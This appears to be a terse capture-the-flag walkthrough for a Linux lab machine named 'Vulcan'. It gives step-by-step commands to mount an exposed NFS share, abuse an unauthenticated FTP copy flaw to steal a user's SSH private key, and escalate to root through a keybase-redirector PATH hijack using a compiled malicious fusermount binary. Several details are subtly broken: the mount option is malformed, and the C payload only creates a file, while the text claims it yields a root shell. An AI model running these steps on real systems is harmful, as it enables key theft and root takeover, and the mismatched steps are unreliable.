

Vulcan (.53)	
Operating System	Linux
Points	20
Similar Machine (User)	<a href="#">TryHackMe's Kenobi</a>
Similar Machine (Root)	

### Exploit in Getting User

1. Port 20048 (mountd) is open so run **showmount -e 192.168.XX.53**
2. Create a folder in your machine and run - **mount -t nfs 192.168.XX.53:/ your\_folder/ -no lock**
3. **cd \_0\_tyken**
4. Read notes.txt and you'll learn that the user tyken created an SSH key so you have to get it
5. FTP service is vulnerable to <https://www.exploit-db.com/exploits/36803> (Unauth RCE)
6. **nc 192.168.XX.53 21** then **cpfr /home/tyken/.ssh/id\_rsa** then **cpto /var/tmp/id\_rsa**
7. Connect to SSH - **ssh -i id\_rsa tyken@192.168.XX.53**
8. User shell!

### Privilege Escalation to Root

1. Target machine is running a keybase-redirector and is vulnerable to <https://www.exploit-db.com/exploits/46044>
2. Create a fusermount.c

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
    setreuid(0,0);
    system("/usr/bin/touch /w00t");
    return(0);
}
```
3. Compile it - **gcc -Wall fusermount.c -o fusermount** and upload it to target machine
4. Prepend the PATH env variable with a dot and execute keybase-redirector which in turn will execute the malicious fusermount binary as root. - **env PATH=.:\$PATH /usr/bin/keybase-redirector /keybase**
5. Enter the control-c sequence to kill the application and run the ./w00t binary.
6. Root shell!